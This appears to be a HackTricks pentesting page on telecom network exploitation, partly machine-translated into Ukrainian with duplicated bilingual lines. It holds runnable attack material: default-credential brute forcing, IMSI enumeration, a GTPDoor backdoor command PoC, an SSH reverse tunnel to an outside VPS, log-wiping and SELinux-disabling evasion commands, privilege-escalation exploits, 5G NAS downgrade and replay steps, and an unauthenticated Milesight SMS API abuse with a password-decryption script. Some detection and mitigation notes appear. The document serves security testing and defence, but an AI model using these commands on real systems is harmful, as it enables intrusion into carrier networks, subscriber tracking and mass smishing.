hacktricks/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

Telecom Network Exploitation (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

Протоколи мобільного ядра (GPRS Tunnelling Protocol – GTP) зазвичай проходять через напівдовірені GRX/IPX роумінгові магістралі. Оскільки вони передаються по звичайному UDP з майже відсутньою автентифікацією, будь-який foothold всередині периметру телеком-мережі зазвичай може безпосередньо досягати основних площин сигналізації. Наведені нижче нотатки містять атакувальні прийоми, зафіксовані в реальному житті проти SGSN/GGSN, PGW/SGW та інших вузлів EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Дивно велика кількість елементів мережі від постачальників поставляється з жорстко вбудованими SSH/Telnet користувачами, такими як root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Спеціалізований wordlist значно підвищує успіх brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Якщо пристрій відкриває лише management VRF, спочатку pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).

1.2 Виявлення хостів усередині GRX/IPX

Більшість операторів GRX досі дозволяють ICMP echo через магістральну мережу. Поєднайте masscan із вбудованими UDP-пробами gtpv1, щоб швидко відобразити GTP-C listeners:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Перелічення абонентів – cordscan

Наступний Go tool формує пакети GTP-C Create PDP Context Request і записує відповіді. Кожна відповідь розкриває поточний SGSN / MME, що обслуговує запитуваний IMSI, а інколи — відвідану абонентом PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Ключові опції:

• --imsi Цільовий абонент IMSI
• --oper Домашній оператор / HNI (MCC+MNC)
• -w Записувати необроблені пакети у pcap

Важливі константи всередині бінарного файлу можна змінити, щоб розширити діапазон сканування:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Code Execution over GTP – GTPDoor

GTPDoor — невеликий ELF-сервіс, який binds UDP 2123 і parses every incoming GTP-C packet. Коли payload починається з pre-shared tag, решта дешифрується (AES-128-CBC) і виконується через /bin/sh -c. stdout/stderr exfiltrated всередині Echo Response messages, тому жодна зовнішня сесія не створюється.

Мінімальний PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Виявлення:

• будь-який хост, що відправляє unbalanced Echo Requests на IP-адреси SGSN
• GTP version flag встановлений у 1, тоді як message type = 1 (Echo) — відхилення від специфікації

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN постачається з емультором SGSN, який може встановити PDP context до реального GGSN/PGW. Після узгодження Linux отримує новий інтерфейс tun0, доступний з боку роумінг-піра.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

За належного firewall hair-pinning цей тунель обходить signalling-only VLANs і ви опиняєтеся прямо в data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS майже завжди відкритий у роумінгових інфраструктурах. Виставте внутрішній SSH service на вашому VPS, що слухає на :53, і поверніться пізніше з дому:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Переконайтеся, що GatewayPorts yes увімкнено на VPS.

5. Приховані канали

Канал	Транспорт	Декодування	Примітки
ICMP – EchoBackdoor	ICMP Echo Req/Rep	4-byte key + 14-byte chunks (XOR)	повністю пасивний слухач, без вихідного трафіку
DNS – NoDepDNS	UDP 53	XOR (key = funnyAndHappy) encoded in A-record octets	стежить за субдоменом *.nodep
GTP – GTPDoor	UDP 2123	AES-128-CBC blob in private IE	маскується під легітимний GTP-C трафік

Усі implants реалізують watchdogs, які timestomp їхні binaries і re-spawn у разі збою.

6. Шпаргалка з обходу захисту

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation на Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Порада з очищення:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Набір інструментів

• cordscan, GTPDoor, EchoBackdoor, NoDepDNS – кастомні інструменти, описані в попередніх розділах.
• FScan : інтра-мережеві TCP-сканування (fscan -p 22,80,443 10.0.0.0/24)
• Responder : LLMNR/NBT-NS rogue WPAD
• Microsocks + ProxyChains : легкий SOCKS5 pivoting
• FRP (≥0.37) : NAT traversal / asset bridging

9. Атаки реєстрації 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Процедура реєстрації 5G відбувається по NAS (Non-Access Stratum) поверх NGAP. До активації NAS security через Security Mode Command/Complete початкові повідомлення не автентифіковані та не шифруються. Це вікно перед безпекою дозволяє кілька векторів атаки, коли ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестове середовище).

Потік реєстрації (спрощено):

• Registration Request: UE надсилає SUCI (SUPI зашифрований публічним ключем home-network) та можливості.
• Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
• Security Mode Command/Complete: відбувається узгодження та активація NAS integrity і ciphering.
• PDU Session Establishment: налаштування IP/QoS.

Поради щодо налаштування лабораторії (без RF):

• Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
• UE: симулятор або тестовий UE; декодування через Wireshark.
• Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
• Корисні фільтри відображення у Wireshark:
• ngap.procedure_code == 15 (InitialUEMessage)
• nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Приватність ідентифікаторів: SUCI failures exposing SUPI/IMSI

Очікуване: UE/USIM має передавати SUCI (SUPI зашифрований публічним ключем home-network). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, що дозволяє стійке відстеження абонента.

Як тестувати:

• Захопіть перше NAS-повідомлення в InitialUEMessage та проінспектуйте Mobile Identity IE.
• Швидкі перевірки у Wireshark:
• Воно має декодуватися як SUCI, а не IMSI.
• Приклади фільтрів: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci має існувати; відсутність цього разом із присутністю imsi вказує на витік.

Що збирати:

• MCC/MNC/MSIN якщо відкриті; логувати по-UE і відстежувати у часі/локаціях.

Захист:

• Примушувати UEs/USIMs працювати тільки з SUCI; сигналізувати про будь-який IMSI/SUPI в початковому NAS.

9.2 Заведення занижених можливостей до null-алгоритмів (EEA0/EIA0)

Передумови:

• UE повідомляє підтримувані EEA (encryption) та EIA (integrity) у UE Security Capability IE Registration Request.
• Загальні відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — null-алгоритми.

Проблема:

• Оскільки Registration Request не має integrity protection, on-path атакуючий може очистити біти можливостей, щоб змусити обрання EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють null-алгоритми поза emergency services.

Нападальні кроки:

• Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб вона рекламувала лише EEA0/EIA0.
• З Sni5Gect підхопіть NAS-повідомлення і патчіть біти можливостей перед пересилкою.
• Спостерігайте, чи AMF приймає null cipher/integrity і завершує Security Mode з EEA0/EIA0.

Перевірка/видимість:

• У Wireshark підтвердіть вибрані алгоритми після Security Mode Command/Complete.
• Приклад виходу пасивного сніфера:

Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Заходи пом'якшення (обов'язково):

• Налаштуйте AMF/policy на відхилення EEA0/EIA0, за винятком випадків, коли це суворо продиктовано (наприклад, екстрені виклики).
• Надавайте перевагу застосуванню EEA2/EIA2 як мінімум; реєструйте та піднімайте тривогу для будь-якого контексту безпеки NAS, який веде переговори про null algorithms.

9.3 Replay of initial Registration Request (pre-security NAS)

Оскільки початковий NAS позбавлений цілісності та актуальності, перехоплений InitialUEMessage+Registration Request може бути replay-нутий до AMF.

PoC правило для 5GReplay для пересилки відповідних replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

• На що звертати увагу:
• Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
• Чи приймає AMF replay і переходить до Authentication; відсутність перевірки свіжості/контексту вказує на вразливість.

Mitigations:

• Заходи захисту:
• Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
• Забезпечити захист від replay/зв'язування контексту на AMF; застосувати rate-limit і кореляцію за GNB/UE.

9.4 Tooling pointers (reproducible)

• 9.4 Поради щодо інструментів (відтворювано)
• Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
• Open5GS: підняти AMF/SMF/UPF для емуляції ядра; спостерігати N2 (NGAP) і NAS.
• Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
• Wireshark: перевірити декоди NGAP/NAS; застосувати фільтри вище, щоб ізолювати Registration.
• 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
• 5GReplay: захопити registration, потім replay конкретних NGAP + NAS повідомлень згідно правила.
• Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
• Sni5Gect: live sniff/modify/inject NAS control-plane для примушення null algorithms або порушення authentication sequences.

9.5 Defensive checklist

• 9.5 Контрольний список захисту
• Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
• Постійно перевіряти Registration Request на наявність plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
• Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
• Відкидати EEA0/EIA0, за винятком строго визначених аварійних процедур; вимагати щонайменше EEA2/EIA2.
• Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
• Виявляти rogue або неправильно налаштовану інфраструктуру: unauthorized gNB/AMF, unexpected N2 peers.
• Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
• Оповіщати про NAS security modes, які призводять до null algorithms або частих replay InitialUEMessage.

---

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

10. Промислові мобільні маршрутизатори – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS. Зловживання відкритими web API промислових мобільних маршрутизаторів дозволяє здійснювати stealthy, carrier-origin smishing у масштабі. Маршрутизатори Milesight серії UR відкривають JSON-RPC–style endpoint на /cgi. При неправильній конфігурації API можна опитувати без authentication, щоб перелічити SMS inbox/outbox і, в деяких розгортаннях, відправляти SMS.

Typical unauthenticated requests (same structure for inbox/outbox): Типові unauthenticated запити (така ж структура для inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }

{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Відповіді містять поля, такі як timestamp, content, phone_number (E.164) та status (success або failed). Повторні відправлення зі статусом failed на той самий номер часто є «перевірками можливостей» атакуючого, щоб переконатися, що маршрутизатор/SIM може доставляти повідомлення перед масовою розсилкою.

Приклад curl для exfiltrate метаданих SMS:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Примітки щодо auth-артефактів:

• Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без будь-якої аутентифікації на query_inbox/query_outbox, коли інтерфейс управління доступний з Інтернету.
• У середовищах, що вимагають auth, previously-leaked credentials (див. нижче) відновлюють доступ.

Шлях відновлення облікових даних – CVE-2023-43261:

• Затронуті сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
• Проблема: журнали, що віддаються через web (наприклад, httpd.log), доступні без аутентифікації за шляхом /lang/log/ і містять події входу admin з паролем, зашифрованим із використанням захардкодженого AES key/IV, присутнього в client-side JavaScript.
• Практичний доступ і розшифрування:

curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Мінімальний скрипт на Python для розшифрування leaked паролів (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Полювання та ідеї для виявлення (мережа):

• Тригери на неаутентифікований POST /cgi, JSON-тiло якого містить base/function, встановлені в query_inbox або query_outbox.
• Відстежувати повторні сплески POST /cgi, за якими слідують записи status":"failed" по великій кількості унікальних номерів з того самого source IP (capability testing).
• Інвентаризація Internet-exposed Milesight роутерів; обмежити управління через VPN; вимкнути SMS-функції, якщо вони не потрібні; оновити до ≥ v35.3.0.7; ротувати облікові дані та переглядати SMS-логи на предмет невідомих відправлень.

Shodan/OSINT pivots (приклади, помічені в природі):

• http.html:"rt_title" відповідає панелям роутерів Milesight.
• Google dorking для відкритих логів: "/lang/log/system" ext:log.

Оперативний вплив: використання легітимних carrier SIM у роутерах забезпечує дуже високу доставлюваність/авторитетність SMS для фішингу, тоді як експозиція inbox/outbox призводить до leak чутливих метаданих у великому масштабі.

---

Detection Ideas

1. Будь-який пристрій, крім SGSN/GGSN, який встановлює Create PDP Context Requests.
2. Не-стандартні порти (53, 80, 443), що приймають SSH handshakes з internal IP.
3. Часті Echo Requests без відповідних Echo Responses – можуть вказувати на маячки GTPDoor.
4. Велика інтенсивність ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence.
5. 5G: InitialUEMessage, що несе NAS Registration Requests, повторювані з ідентичних endpoints (replay signal).
6. 5G: NAS Security Mode, що узгоджує EEA0/EIA0 поза контекстом emergency.

References

• Palo Alto Unit42 – Infiltration of Global Telecom Networks
• 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
• 3GPP TS 29.281 – GTPv2-C (v17.6.0)
• Demystifying 5G Security: Understanding the Registration Protocol
• 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
• 3GPP TS 33.501 – Security architecture and procedures for 5G System
• Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
• CVE-2023-43261 – NVD
• CVE-2023-43261 PoC (win3zz)

{{#include ../../banners/hacktricks-training.md}}